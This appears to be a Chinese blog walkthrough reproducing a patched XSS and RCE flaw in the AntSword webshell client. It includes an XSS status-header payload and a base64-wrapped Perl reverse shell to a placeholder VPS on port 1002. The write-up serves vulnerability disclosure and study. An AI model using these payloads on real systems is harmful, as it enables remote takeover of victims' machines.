### 前言
在中国蚁剑的GitHub项目主页,发现有人提交了一个问题,中国蚁剑存在XSS和RCE漏洞

中国蚁剑的GitHub项目问题页面
看到这里我决定搭建环境,本地复现一下
### 复现
1 环境准备
由于我比较懒,我就使用集成环境Xmapp了,它刚好有Apache和PHP环境。

Xmapp
那么这台安装了Xmapp的服务器就当做被攻击者黑掉的对象
既然被黑了,那肯定上了webshell。
2 准备webshell
准备两个webshell,一个是验证XSS的webshell,一个是验证RCE的webshell,RCE的webshell还可以用来直接反弹攻击者的shell
XSS的WebShell如下:
```
<?php
header('HTTP/1.1 500 <img src=# onerror=alert(1)>');
```
我们把它放到Xmapp的DashBoard目录下,然后添加到中国蚁剑运行即可看到效果

Xmapp

中国蚁剑

XSS
现在我们来反弹攻击者的shell
```
require('child_process').exec('perl -e \'use Socket;$i="vpsip";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});
```
将上述代码中的vpsip改为取证者的vpsip(公网IP),进行BASE64编码,并与下面的代码进行合并
```
<?php
header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`base64代码`,`base64`).toString())'>");
?>
```
完成以后,依然存放到Xmapp的DashBoard目录下,然后在vps上面进行监听1002端口(随意端口都行)

Xmapp

监听端口
接着我们模拟攻击者使用中国蚁剑连接webshell

中国蚁剑
中国蚁剑马上报错

报错
但是成功反弹攻击者shell

反弹攻击者shell
### 成因
根据问题发现者的描述,在于中国蚁剑源码中如下文件的206行
~/source/modules/filemanage/index.js

### 已修复
目前中国蚁剑已修复,但对于很多攻击者来说,第一时间若没有及时更新,则执法部门即可利用该漏洞进行调查取证、攻击溯源,而该漏洞对于打击网络犯罪必将提供很大帮助。
暂无评论